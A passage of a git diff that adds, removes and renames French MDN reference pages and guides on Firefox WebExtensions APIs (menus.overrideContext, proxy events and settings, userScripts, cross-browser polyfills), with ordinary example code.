Cette API permet aux extensions de masquer tous les éléments de menu par défaut de Firefox afin de fournir une interface utilisateur de menu contextuel personnalisée. Ce menu contextuel peut comprendre plusieurs éléments de menu de niveau supérieur de l'extension et éventuellement inclure des éléments de menu contextuel d'onglet ou de signet provenant d'autres extensions. Cela doit être appelé lors d'un gestionnaire d'événements DOM du menu contextmenu, et s'applique uniquement au menu qui s'ouvre après cet événement.

- -

Cette API ne peut être appelée que si l'addon dispose de la permission "menus.overrideContext".

- -

Syntaxe

- -
browser.menus.overrideContext(
-  contextOptions // object
-)
-
- -

Paramètres

- -
-
contextOptions
-
object.Propriétés qui définissent le contexte du menu contextuel.
-
-
-
bookmarkId {{optional_inline}}
-
string Requis lorsque le contexte est un signet. Nécessite la permission  "bookmark" .
-
context {{optional_inline}}
-
string. pour passer outre, pour autoriser les éléments de menu d'autres extensions dans le menu. Actuellement, seuls "bookmark" et "tab" sont supportés. showDefaults ne peut pas être utilisé avec cette option.
-
showDefaults {{optional_inline}}
-
boolean. S'il faut également inclure des éléments de menu par défaut dans le menu.
-
tabId {{optional_inline}}
-
string Requis lorsque le contexte est "tab". Nécessite la permission "tabs" .
-
-
-
- -

Exemples

- -

Ouvrez le menu contextuel de l'onglet de votre interface utilisateur personnalisée, dans ce cas :

- -
document.addEventListener('contextmenu', event => {
-  const foo = event.target.closest('.foo');
-  if (foo) {
-    // When the context menu is opened on an element with the foo class
-    // set the context to "opening a tab context menu".
-    browser.menus.overrideContext({
-      context: 'tab',
-      tabId: parseInt(foo.dataset.tabId)
-    });
-  }
-}, { capture: true });
-
- -

Voir ce billet de blog pour plus de détails.

diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/onerror/index.html b/files/fr/mozilla/add-ons/webextensions/api/proxy/onerror/index.html new file mode 100644 index 0000000000..fb5e7df4e5 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/proxy/onerror/index.html @@ -0,0 +1,60 @@ +--- +title: proxy.onProxyError +slug: Mozilla/Add-ons/WebExtensions/API/proxy/onProxyError +tags: + - API + - Add-ons + - Event + - Proxy + - Reference + - WebExtensions + - onProxyError +translation_of: Mozilla/Add-ons/WebExtensions/API/proxy/onError +--- +
{{AddonSidebar()}}
+ +

Lancé en cas d'erreur lors de l'évaluation du fichier PAC ou l'écouteur onRequest.

+ +

L'erreur peut être déclenchée en lançant ou renvoyant une valeur invalide dans le gestionnaire d'événements proxy.onRequest.

+ +

Syntaxe

+ +
browser.proxy.onError.addListener(listener)
+browser.proxy.onError.removeListener(listener)
+browser.proxy.onError.hasListener(listener)
+
+ +

Les événements ont trois fonctions :

+ +
+
addListener(listener)
+
Ajoute un écouteur à cet événement.
+
removeListener(listener)
+
Arrêtez d'écouter cet événement. L'argument listener est l'écouteur à supprimer.
+
hasListener(listener)
+
Vérifiez si l'écouteur est enregistré pour cet événement. Renvoie true s'il écoute, sinon false.
+
+ +

Syntaxe addListener

+ +

Paramètres

+ +
+
callback
+
+

Fonction qui sera appelée lorsque cet événement se produit. La fonction recevra les arguments suivants :

+ +
+
newState
+
Object. Un objet Error représentant l'erreur.
+
+
+
+ +

{{WebExtExamples}}

+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.proxy.onError")}}

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/onproxyerror/index.html b/files/fr/mozilla/add-ons/webextensions/api/proxy/onproxyerror/index.html deleted file mode 100644 index fb5e7df4e5..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/proxy/onproxyerror/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: proxy.onProxyError -slug: Mozilla/Add-ons/WebExtensions/API/proxy/onProxyError -tags: - - API - - Add-ons - - Event - - Proxy - - Reference - - WebExtensions - - onProxyError -translation_of: Mozilla/Add-ons/WebExtensions/API/proxy/onError ---- -
{{AddonSidebar()}}
- -

Lancé en cas d'erreur lors de l'évaluation du fichier PAC ou l'écouteur onRequest.

- -

L'erreur peut être déclenchée en lançant ou renvoyant une valeur invalide dans le gestionnaire d'événements proxy.onRequest.

- -

Syntaxe

- -
browser.proxy.onError.addListener(listener)
-browser.proxy.onError.removeListener(listener)
-browser.proxy.onError.hasListener(listener)
-
- -

Les événements ont trois fonctions :

- -
-
addListener(listener)
-
Ajoute un écouteur à cet événement.
-
removeListener(listener)
-
Arrêtez d'écouter cet événement. L'argument listener est l'écouteur à supprimer.
-
hasListener(listener)
-
Vérifiez si l'écouteur est enregistré pour cet événement. Renvoie true s'il écoute, sinon false.
-
- -

Syntaxe addListener

- -

Paramètres

- -
-
callback
-
-

Fonction qui sera appelée lorsque cet événement se produit. La fonction recevra les arguments suivants :

- -
-
newState
-
Object. Un objet Error représentant l'erreur.
-
-
-
- -

{{WebExtExamples}}

- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.proxy.onError")}}

- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/settings/index.html b/files/fr/mozilla/add-ons/webextensions/api/proxy/settings/index.html new file mode 100644 index 0000000000..8ebc5822c2 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/proxy/settings/index.html @@ -0,0 +1,73 @@ +--- +title: browserSettings.proxyConfig +slug: Mozilla/Add-ons/WebExtensions/API/browserSettings/proxyConfig +tags: + - API + - Add-ons + - Extensions + - Property + - Reference + - WebExtensions + - browserSettings + - proxyConfig +translation_of: Mozilla/Add-ons/WebExtensions/API/proxy/settings +--- +
{{AddonSidebar()}}
+ +

Un objet {{WebExtAPIRef("types.BrowserSetting", "BrowserSetting")}} qui peut être utilisé pour modifier les paramètres de proxy du navigateur.

+ +
+

Note: La possibilité de modifier les paramètres de proxy nécessite un accès à une fenêtre privée car les paramètres de proxy affectent à la fois les fenêtres privées et non privées. Par conséquent, si une extension n'a pas reçu l'autorisation de fenêtre privée, les appels à  proxy.settings.set() lanceront une exception.

+
+ +

La valeur sous-jacente est un objet avec les propriétés énumérées ci-dessous.

+ +

Lors de la définition de cet objet, toutes les propriétés sont facultatives. Notez que les propriétés omises seront réinitialisées à leur valeur par défaut.

+ +
+
autoConfigUrl{{optional_inline}}
+
string. Une URL à utiliser pour configurer le proxy.
+
autoLogin{{optional_inline}}
+
boolean. Ne pas demander l'authentification si le mot de passe est enregistré. Par défaut à false.
+
ftp{{optional_inline}}
+
string. L'adresse du proxy FTP. Peut inclure un port.
+
http{{optional_inline}}
+
string. L'adresse du proxy HTTP. Peut inclure un port.
+
httpProxyAll{{optional_inline}}
+
boolean. Utilisez le serveur proxy HTTP pour tous les protocoles. Par défaut à false.
+
passthrough{{optional_inline}}
+
string. Une liste d'hôtes séparés par des virgules qui ne doivent pas être mandatés. La valeur par défaut est "localhost, 127.0.0.1".
+
proxyDNS{{optional_inline}}
+
boolean. DNS proxy lors de l'utilisation de SOCKS5. Par défaut à false.
+
proxyType{{optional_inline}}
+
string. Le type de proxy à utiliser. Cela peut prendre l'une des valeurs suivantes : "none", "autoDetect", "system", "manual", "autoConfig". Par défaut à "system".
+
socks{{optional_inline}}
+
string. L'adresse du proxy SOCKS. Peut inclure un port.
+
socksVersion{{optional_inline}}
+
integer. La version du proxy SOCKS. Peut être 4 ou 5. Par défaut à 5.
+
ssl{{optional_inline}}
+
string. L'adresse du proxy SSL. Peut inclure un port.
+
+ +

 

+ +

Exemples

+ +
let proxySettings = {
+  proxyType: "manual",
+  http: "http://proxy.org:8080",
+  socksVersion: 4,
+  passthrough: ".example.org"
+};
+
+browser.proxy.settings.set({value: proxySettings});
+ +

{{WebExtExamples}}

+ +

 

+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.proxy.settings", 10)}}

diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/apiscript/index.html b/files/fr/mozilla/add-ons/webextensions/api/userscripts/apiscript/index.html deleted file mode 100644 index 1af1fed65e..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/apiscript/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: APIScript -slug: Mozilla/Add-ons/WebExtensions/API/userScripts/APIScript -tags: - - APIScript - - Add-ons - - Custimisation - - Extensions - - Firefox - - Reference - - WebExtensions - - userScripts -translation_of: Mozilla/Add-ons/WebExtensions/API/userScripts/APIScript ---- -

{{AddOnSidebar}}

- -

L'APIScript userScripts est un type spécial d'extension Content Script.

- -

Comme un script de contenu d'extension régulier :

- -
    -
  • Il s'exécute dans les processus de contenu..
    • -
  • Il a accès à la fenêtre et aux globes de documents relatifs à la page Web à laquelle il est attaché.
    • -
  • Il a accès au même sous-ensemble d'API WebExtension généralement disponibles dans un script de contenu.
    • -
- -

Contrairement à une extension régulière Content Script :

- -
    -
  • Il doit être déclaré dans le manifeste en utilisant la propriété user_scripts.api_script.
    • -
- -
manifest.json
-{
-  ...
-  "user_scripts": {
-     "api_script": "apiscript.js"
-  }
-}
- -

Il est exécuté automatiquement sur n'importe quelle page Web correspondant à userScript enregistrée par la même extension, avant qu'un userScript correspondant ne soit exécuté.

- -

Il a accès à l'API Event browser.userScripts.onBeforeScript que l'APIScript peut utiliser pour inscrire un auditeur à appeler juste avant qu'un userScript correspondant soit exécuté, ce qui permet à l'APIScript d'exporter un ensemble de méthodes API personnalisées pour le rendre disponible à l'userScript.

diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/registereduserscript.unregister()/index.html b/files/fr/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/registereduserscript.unregister()/index.html deleted file mode 100644 index 0a71ce921b..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/registereduserscript.unregister()/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: unregister -slug: >- - Mozilla/Add-ons/WebExtensions/API/userScripts/RegisteredUserScript/RegisteredUserScript.unregister() -tags: - - API - - Extensions - - Reference - - RegisteredUserScript - - Type - - unregister - - userScripts -translation_of: >- - Mozilla/Add-ons/WebExtensions/API/userScripts/RegisteredUserScript/RegisteredUserScript.unregister() ---- -

{{AddonSidebar}}

- -

La méhode unregister() de l'interface  {{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}}désenregistre le script utilisateur représenté par cette instance d'interface et précédemment enregistré via {{WebExtAPIRef("userScripts.register","userScripts.register()")}}.

- -
-

Note: Les scripts utilisateur sont automatiquement désenregistrés lorsque la page d'extension correspondante (à partir de laquelle les scripts utilisateur ont été enregistrés) est déchargée, vous devez donc enregistrer un script utilisateur depuis une page d'extension qui persiste au moins aussi longtemps que vous voulez que les scripts utilisateur restent enregistrés..

-
- -

Syntaxe

- -
const registeredUserScript = await browser.userScripts.register(
-  userScriptOptions       // object
-);
-…
-await registeredUserScript.unregister()
- -

Paramètres

- -

Aucun.

- -

Valeur retournée

- -

Une {{JSxRef("Promise")}} qui sera résolu une fois le script utilisateur désenregistré. La promesse ne rapporte rien.

- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.userScripts.RegisteredUserScript.unregister")}}

- -

Voir aussi

- -
    -
  • {{WebExtAPIRef("userScripts.register","userScripts.register()")}}
    • -
  • {{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}}
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/travailler_avec_userscripts/index.html b/files/fr/mozilla/add-ons/webextensions/api/userscripts/travailler_avec_userscripts/index.html deleted file mode 100644 index 8cf9fcc2b2..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/travailler_avec_userscripts/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Travailler avec userScripts -slug: Mozilla/Add-ons/WebExtensions/API/userScripts/travailler_avec_userScripts -tags: - - API - - Extensions - - How-to - - Tutorial - - userScripts -translation_of: Mozilla/Add-ons/WebExtensions/API/userScripts/Working_with_userScripts ---- -

{{draft}}

- -

{{AddonSidebar}}

- -

En implémentant userScripts, les développeurs d'extension peuvent modifier l'apparence et/ou le fonctionnement des sites pour mieux répondre aux besoins des utilisateurs.

- -

Implémentez userScripts dans votre extension en suivant les étapes suivantes :

- -
    -
  1. Définissez le script dans le manifeste de l'extension à l'aide de la clé "user_scripts".
    2. -
  2. Enregistrer le userScript
    3. -
  3. Implémenter les fonctions userScript
    4. -
- -

Passons en revue les processus à l'aide d'un petit exemple d'extension Web qui illustre le processus. L'exemple est disponible dans le dépôt webextensions-examples sur GitHub.

- -

Manifest userScripts

- -

Un script utilisateur est identifié par le contenu de la clé user_scripts du manifeste des extensions. L'information minimale pour la clé user_scripts serait :

- -
  "user_scripts": {
-    "api_script": "customUserScriptAPIs.js"
-  }
- -

La propriété "api_script" indique le chemin d'accès au fichier JavaScript qui contient le code du userScript.

- -

Charge l'extension d'exemple

- -

Une fois que vous avez téléchargé l'exemple  :

- -

Naviguez jusqu'à about:debugging, cliquez sur Charger temporairement une extension... et double-cliquez sur le manifest des extensions.

- -

/Le code par défaut inclus dans l'exemple vous permet de charger un userScript qui va "manger" le contenu des pages correspondant à l'entrée Hosts. Effectuez tous les changements que vous voulez faire avant de cliquer sur le bouton Enregistrer le script au bas du panneau.

- -

Dans l'image suivante, l'extension va "manger" le contenu des pages dont le nom de domaine se termine par.org. C'est le comportement par défaut pour cette extension.

- -

- -

Rien ne se passera tant que vous n'aurez pas cliqué sur le bouton Enregistrer le script. Le bouton implémente le script utilisateur en fonction des paramètres de cette boîte de dialogue. Cela signifie que vous pouvez expérimenter le comportement du script sans avoir à implémenter une extension vous-même.

- -

Register the userScript

- -

Avant qu'un userScript puisse être exécuté, il doit être enregistré en utilisant la méthode  userScripts.register(). Voici le code pour enregistrer l'extension d'exemple :

- -
async function registerScript() {
-  const params = {
-    hosts: stringToArray(hostsInput.value),
-    code: codeInput.value,
-    excludeMatches: stringToArray(excludeMatchesInput.value),
-    includeGlobs: stringToArray(includeGlobsInput.value),
-    excludeGlobs: stringToArray(excludeGlobsInput.value),
-    runAt: runAtInput.value,
-    matchAboutBlank: stringToBool(matchAboutBlankInput.value),
-    allFrames: stringToBool(allFramesInput.value),
-    scriptMetadata: {name: scriptNameInput.value || null},
-  };
-
-  // Store the last submitted values to the extension storage
-  // (so that they can be restored when the popup is opened
-  // the next time).
-  await browser.storage.local.set({
-    lastSetValues: params,
-  });
-
-  try {
-    // Clear the last userScripts.register result.
-    lastResultEl.textContent = "";
-
-    await browser.runtime.sendMessage(params);
-    lastResultEl.textContent = "UserScript successfully registered";
-    // Clear the last userScripts.register error.
-    lastErrorEl.textContent = "";
-
-    // Clear the last error stored.
-    await browser.storage.local.remove("lastError");
-  } catch (e) {
-    // There was an error on registering the userScript,
-    // let's show the error message in the popup and store
-    // the last error into the extension storage.
-
-    const lastError = `${e}`;
-    // Show the last userScripts.register error.
-    lastErrorEl.textContent = lastError;
-
-    // Store the last error.
-    await browser.storage.local.set({lastError});
-  }
-}
- -

Ce code initialise d'abord l'objet params pour passer les valeurs à la méthode  userScripts.register.

- -

Implementer les fonctions userScript

- -

Une fois le script enregistré, naviguez vers une page dont le nom de domaine se termine par .org, et vous verrez quelque chose comme ceci :

- -

- -

Voir aussi

- -
    -
  • {{WebExtAPIRef("userScripts")}}
    • -
  • {{WebExtAPIRef("userScripts.register()", "userScripts.register()")}}
    • -
  • {{WebExtAPIRef("userScripts.onBeforeScript")}}
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/working_with_userscripts/index.html b/files/fr/mozilla/add-ons/webextensions/api/userscripts/working_with_userscripts/index.html new file mode 100644 index 0000000000..8cf9fcc2b2 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/userscripts/working_with_userscripts/index.html @@ -0,0 +1,115 @@ +--- +title: Travailler avec userScripts +slug: Mozilla/Add-ons/WebExtensions/API/userScripts/travailler_avec_userScripts +tags: + - API + - Extensions + - How-to + - Tutorial + - userScripts +translation_of: Mozilla/Add-ons/WebExtensions/API/userScripts/Working_with_userScripts +--- +

{{draft}}

+ +

{{AddonSidebar}}

+ +

En implémentant userScripts, les développeurs d'extension peuvent modifier l'apparence et/ou le fonctionnement des sites pour mieux répondre aux besoins des utilisateurs.

+ +

Implémentez userScripts dans votre extension en suivant les étapes suivantes :

+ +
    +
  1. Définissez le script dans le manifeste de l'extension à l'aide de la clé "user_scripts".
    2. +
  2. Enregistrer le userScript
    3. +
  3. Implémenter les fonctions userScript
    4. +
+ +

Passons en revue les processus à l'aide d'un petit exemple d'extension Web qui illustre le processus. L'exemple est disponible dans le dépôt webextensions-examples sur GitHub.

+ +

Manifest userScripts

+ +

Un script utilisateur est identifié par le contenu de la clé user_scripts du manifeste des extensions. L'information minimale pour la clé user_scripts serait :

+ +
  "user_scripts": {
+    "api_script": "customUserScriptAPIs.js"
+  }
+ +

La propriété "api_script" indique le chemin d'accès au fichier JavaScript qui contient le code du userScript.

+ +

Charge l'extension d'exemple

+ +

Une fois que vous avez téléchargé l'exemple  :

+ +

Naviguez jusqu'à about:debugging, cliquez sur Charger temporairement une extension... et double-cliquez sur le manifest des extensions.

+ +

/Le code par défaut inclus dans l'exemple vous permet de charger un userScript qui va "manger" le contenu des pages correspondant à l'entrée Hosts. Effectuez tous les changements que vous voulez faire avant de cliquer sur le bouton Enregistrer le script au bas du panneau.

+ +

Dans l'image suivante, l'extension va "manger" le contenu des pages dont le nom de domaine se termine par.org. C'est le comportement par défaut pour cette extension.

+ +

+ +

Rien ne se passera tant que vous n'aurez pas cliqué sur le bouton Enregistrer le script. Le bouton implémente le script utilisateur en fonction des paramètres de cette boîte de dialogue. Cela signifie que vous pouvez expérimenter le comportement du script sans avoir à implémenter une extension vous-même.

+ +

Register the userScript

+ +

Avant qu'un userScript puisse être exécuté, il doit être enregistré en utilisant la méthode  userScripts.register(). Voici le code pour enregistrer l'extension d'exemple :

+ +
async function registerScript() {
+  const params = {
+    hosts: stringToArray(hostsInput.value),
+    code: codeInput.value,
+    excludeMatches: stringToArray(excludeMatchesInput.value),
+    includeGlobs: stringToArray(includeGlobsInput.value),
+    excludeGlobs: stringToArray(excludeGlobsInput.value),
+    runAt: runAtInput.value,
+    matchAboutBlank: stringToBool(matchAboutBlankInput.value),
+    allFrames: stringToBool(allFramesInput.value),
+    scriptMetadata: {name: scriptNameInput.value || null},
+  };
+
+  // Store the last submitted values to the extension storage
+  // (so that they can be restored when the popup is opened
+  // the next time).
+  await browser.storage.local.set({
+    lastSetValues: params,
+  });
+
+  try {
+    // Clear the last userScripts.register result.
+    lastResultEl.textContent = "";
+
+    await browser.runtime.sendMessage(params);
+    lastResultEl.textContent = "UserScript successfully registered";
+    // Clear the last userScripts.register error.
+    lastErrorEl.textContent = "";
+
+    // Clear the last error stored.
+    await browser.storage.local.remove("lastError");
+  } catch (e) {
+    // There was an error on registering the userScript,
+    // let's show the error message in the popup and store
+    // the last error into the extension storage.
+
+    const lastError = `${e}`;
+    // Show the last userScripts.register error.
+    lastErrorEl.textContent = lastError;
+
+    // Store the last error.
+    await browser.storage.local.set({lastError});
+  }
+}
+ +

Ce code initialise d'abord l'objet params pour passer les valeurs à la méthode  userScripts.register.

+ +

Implementer les fonctions userScript

+ +

Une fois le script enregistré, naviguez vers une page dont le nom de domaine se termine par .org, et vous verrez quelque chose comme ceci :

+ +

+ +

Voir aussi

+ +
    +
  • {{WebExtAPIRef("userScripts")}}
    • +
  • {{WebExtAPIRef("userScripts.register()", "userScripts.register()")}}
    • +
  • {{WebExtAPIRef("userScripts.onBeforeScript")}}
    • +
diff --git a/files/fr/mozilla/add-ons/webextensions/bonnes_pratiques_pour_la_mise_a_jour_de_votre_extension/index.html b/files/fr/mozilla/add-ons/webextensions/bonnes_pratiques_pour_la_mise_a_jour_de_votre_extension/index.html deleted file mode 100644 index d8bff8eccc..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/bonnes_pratiques_pour_la_mise_a_jour_de_votre_extension/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Bonnes pratiques pour la mise à jour de votre extension -slug: >- - Mozilla/Add-ons/WebExtensions/bonnes_pratiques_pour_la_mise_a_jour_de_votre_extension -tags: - - Add-ons - - Extensions - - Guide - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Best_practices_for_updating_your_extension ---- -

{{AddonSidebar}}

- -

Presque toutes les extensions doivent être mises à jour de temps en temps, que ce soit pour corriger des bugs ou ajouter de nouvelles fonctionnalités. La mise à jour de votre extension vaut la peine d'être planifiée méthodiquement, non seulement pour assurer la qualité des changements, mais aussi pour maximiser les possibilités d'engagement ou de réengagement avec votre public.

- -

Pour vous aider à fournir les mises à jour les plus productives, voici quelques conseils de la communauté des développeurs d'extensions Firefox :

- -
    -
  • Créez une feuille de route des fonctionnalités que vous souhaitez ajouter à votre extension, en n'oubliant pas de la mettre à jour en fonction des commentaires des utilisateurs. Prévoyez également la sortie de nouvelles versions de navigateurs, pour confirmer que rien ne casse votre extension et pour profiter des nouvelles fonctionnalités. Si vous voulez rendre votre feuille de route publique, ne soyez pas trop précis quant aux dates de livraison, car le non-respect des délais pourrait réduire la confiance des utilisateurs dans votre extension.
    • -
  • Effectuez des mises à jour selon un cycle régulier, mensuel ou trimestriel, à moins que vous n'ayez besoin de corriger un bogue critique. Les utilisateurs peuvent trouver des mises à jour plus fréquentes (par exemple quotidiennes ou même hebdomadaires), en particulier celles qui affectent les fonctionnalités, les fonctions, le comportement ou l'apparence de l'extension, trop perturbatrices. Le maintien d'un cycle de mise à jour régulier peut aider à maintenir l'engagement des utilisateurs.
    • -
  • En plus de tester la version actuelle de Firefox, testez votre extension dans les versions Firefox Nightly et Beta pour vous assurer qu'aucun changement ne risque d'affecter votre extension.
    • -
  • Inclure une page d'intégration qui décrit les améliorations et les changements inclus dans la mise à niveau - ne pas simplement dire "corrections de bogues et améliorations". Pour plus d'informations, voir Bonnes pratiques pour les utilisateurs d'embarquement, d'embarquement et de débarquement.
    • -
  • Évitez de déplacer les fonctions "gratuites" derrière un mur payant, car la réaction des utilisateurs est susceptible d'être négative. (L'ajout de nouvelles fonctions payantes n'est généralement pas problématique. Cependant, l'ajout de fonctions payantes à une extension gratuite doit être manipulé avec précaution, pour éviter de donner l'impression que l'extension dans son ensemble doit maintenant être payée). Pour plus de détails, voir Gagnez de l'argent avec les extensions de navigateur.
    • -
  • Évitez de supprimer brusquement des fonctionnalités, pensez à prévoir une période d'obsolescence d'au moins un cycle de mise à niveau, en particulier lorsque vous n'avez pas de mesures pour l'utilisation de cette fonctionnalité. Le fait de prévoir une période d'amortissement permet aux utilisateurs de fournir une rétroaction sur les répercussions que vous n'avez peut-être pas prévues.
    • -
  • Fournir des instructions guidées pour les fonctions remplacées, telles que la conservation des anciens éléments de menu qui fournissent ensuite un message guidant l'utilisateur vers la nouvelle fonction.
    • -
  • Fournir une combinaison appropriée de corrections de bogues et de fonctionnalités nouvelles ou améliorées dans une mise à niveau. Les utilisateurs qui sont gênés par un bogue peuvent réagir négativement si vos mises à niveau ne semblent pas corriger les bogues. Cependant, si vous avez plusieurs correctifs techniques à apporter qui ont peu ou pas d'impact sur l'utilisateur, vous pouvez envisager de les inclure dans une version séparée, silencieuse (pas de page d'upboarding).
    • -
  • N'oubliez pas de mettre à jour la page de l'AMO de votre extension. Inclure vos notes de version dans la section dédiée. Mettez à jour la description pour couvrir les nouvelles fonctionnalités, remplacez ou ajoutez des captures d'écran, et pensez à modifier l'icône de votre extension pour mettre en évidence les modifications que vous avez apportées.
    • -
  • Inclure des nouvelles sur la mise à jour dans vos canaux tels que le site Web, les médias sociaux, les groupes d'utilisateurs, etc.
    • -
  • Après la publication de votre mise à jour, surveillez les évaluations et les commentaires, la rétroaction et les canaux de soutien pour vous assurer qu'il n'y a pas de réponses inattendues qui suggèrent des erreurs dans vos changements ou que les changements ne fonctionnent pas comme prévu.
    • -
  • Commencez à planifier votre prochaine mise à niveau !
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html b/files/fr/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html new file mode 100644 index 0000000000..d7d80b6988 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html @@ -0,0 +1,24 @@ +--- +title: Compatibilité des navigateurs avec les API JavaScript WebExtensions +slug: Mozilla/Add-ons/WebExtensions/Compatibilité_navigateurs_API_JavaScript +tags: + - Reference + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs +--- +
{{AddonSidebar}}
+ + + +

{{WebExtAllCompatTables}}

+ +
Remerciements + +

Les données de compatibilité Microsoft Edge sont fournies par Microsoft Corporation et sont incluses ici sous la licence Creative Commons Attribution 3.0 United States.

+
+ +

Voir aussi

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html b/files/fr/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html new file mode 100644 index 0000000000..506822110d --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html @@ -0,0 +1,252 @@ +--- +title: Construction d'une extension cross-browser +slug: Mozilla/Add-ons/WebExtensions/construction_extension_cross_browser +tags: + - Add-ons + - Extensions + - Guide + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension +--- +

{{AddonSidebar()}}

+ +

L'introduction de l'API d'extension de navigateur a créé un paysage plus uniforme pour le développement d'extensions des navigateurs. Cependant, parmi les navigateurs qui utilisent les API d'extensions (les principales étant Chrome, Firefox, Opera et Edge), vous verrez des différences à la fois dans l'implémentation de l'API et dans la portée de la couverture. Et puis, Safari utilise ses propres extensions Safari Extensions JS.

+ +

Maximiser la portée de votre extension de navigateur signifie la développer pour au moins deux navigateurs différents, voire plus. Cet article examine six des principaux défis rencontrés lors de la création d'une extension multi-navigateurs, et dans chaque cas, suggère comment relever ce défi.

+ +

Cet article ne traite pas de la création d'extensions de navigateur pour Safari. Il est possible de partager certaines ressources avec une extension Safari, comme des images et du contenu HTML. Cependant, le codage JavaScript doit être entrepris comme un projet de développement séparé, à moins que vous ne souhaitiez créer votre propre polyfill.

+ +

Obstacles lors du codage d'extension multiplateforme

+ +

Il y a six domaines que vous devez aborder lorsque vous vous attaquez à une extension multiplateforme :

+ +
    +
  • Espace de nommage de l'API
    • +
  • Gestion asynchrone des événements API
    • +
  • Couverture des fonctions API
    • +
  • Clés du Manifest
    • +
  • Package d'Extension
    • +
  • Publication
    • +
+ +

Espace de nommage de l'API

+ +

Deux espaces de noms API sont utilisés parmi les quatre principaux navigateurs :

+ +
    +
  • browser.*, le standard proposé pour l'API d'extensions, utilisé par Firefox et Edge.
    • +
  • chrome.* utilisé par Chrome et Opera.
    • +
+ +

Firefox prend également en charge l'espace de noms chrome.* pour les API compatibles avec Chrome, principalement pour faciliter le portage. Cependant, il est préférable d'utiliser l'espace de nommage browser.*. En plus d'être la norme proposée, browser.* utilise des promesses — un mécanisme moderne et pratique pour gérer les événements asynchrones.

+ +

Ce n'est que dans les extensions les plus triviales que l'espace de nommage sera probablement le seul problème multiplateforme qui devra être traité. Il est donc rarement, voire jamais, utile d'essayer d'aborder cette question seul. La meilleure approche consiste à traiter ce problème avec une gestion asynchrone des événements.

+ +

Gestion asynchrone des événements API

+ +

Il existe deux approches pour gérer les événements asynchrones utilisées par les quatre principaux navigateurs :

+ +
    +
  • Promises, le standard proposé pour l'API d'extensions, utilisé par Firefox.
    • +
  • callbacks, utilisés par Chrome, Edge, et Opera.
    • +
+ +

Firefox prend également en charge les rappels pour les API qui prennent en charge l'espace de noms chrome.*. Cependant, il est recommandé d'utiliser des promesses (et l'espace de noms browser.* du navigateur). Des promesses ont été adoptées dans le cadre de la norme proposée. Il simplifie grandement la gestion asynchrone des événements, en particulier lorsque vous devez enchaîner des événements.

+ +

Si vous n'êtes pas familier avec les différences entre ces deux méthodes, jetez un coup d'oeil à Apprendre à connaître le Javascript asynchrone : Rappels, promesses et synchronisation/attente ou la page des promesses d'utilisation de MDN.

+ +

Alors, comment tirer profit des promesses facilement, alors que Firefox est le seul navigateur qui les supporte ? La solution est de coder pour Firefox en utilisant des promesses et d'utiliser le navigateur WebExtension API Polyfill. Cette polyfill prend en compte l'espace de nommage de l'API et la gestion asynchrone des événements dans Firefox, Chrome et Opera. Au moment de la rédaction du présent document (novembre 2018), le soutien pour Edge était en cours d'élaboration.

+ +

Vous installez le navigateur WebExtension API Polyfill dans votre environnement de développement à l'aide de npm ou vous le téléchargez directement depuis les versions de GitHub. Vous référencerez alors browser-polyfill.js dans :

+ +
    +
  • manifest.json, pour mettre à disposition des scripts de fond et de contenu.
    • +
  • Documents HTML, tels que les popups browserAction ou les pages à onglet.
    • +
  • L'appel executeScript dans les scripts de contenu dynamiquement injectés chargés par tabs.executeScript, où il n'a pas été chargé en utilisant une déclaration content_scripts dans manifest.json.
    • +
+ +

Ainsi, par exemple, ce code manifest.json rend le polyfill disponible pour vos scripts d'arrière-plan :

+ +
{
+ // ...
+ "background": {
+   "scripts": [
+     "browser-polyfill.js",
+     "background.js"
+   ]
+ }
+}
+ +

Votre but est de vous assurer que le polyfill s'exécute dans votre extension avant tout autre script qui attend le browser.* API namespace s'exécute.

+ +

Pour plus de détails et d'informations sur l'utilisation du polyfill avec un module bundler, voir le readme du projet sur GitHub.

+ +

Il existe d'autres options de polyfill mais, au moment d'écrire ces lignes, aucune ne fournit la couverture de l'API Polyfill du navigateur WebExtension. Ainsi, lorsque vous n'avez pas choisi Firefox comme premier choix, vos options sont d'accepter les limitations des polyfills alternatifs, de porter sur Firefox et d'ajouter la prise en charge du cross-browser, ou de développer votre propre polyfill.

+ +

Couverture des fonctions API

+ +

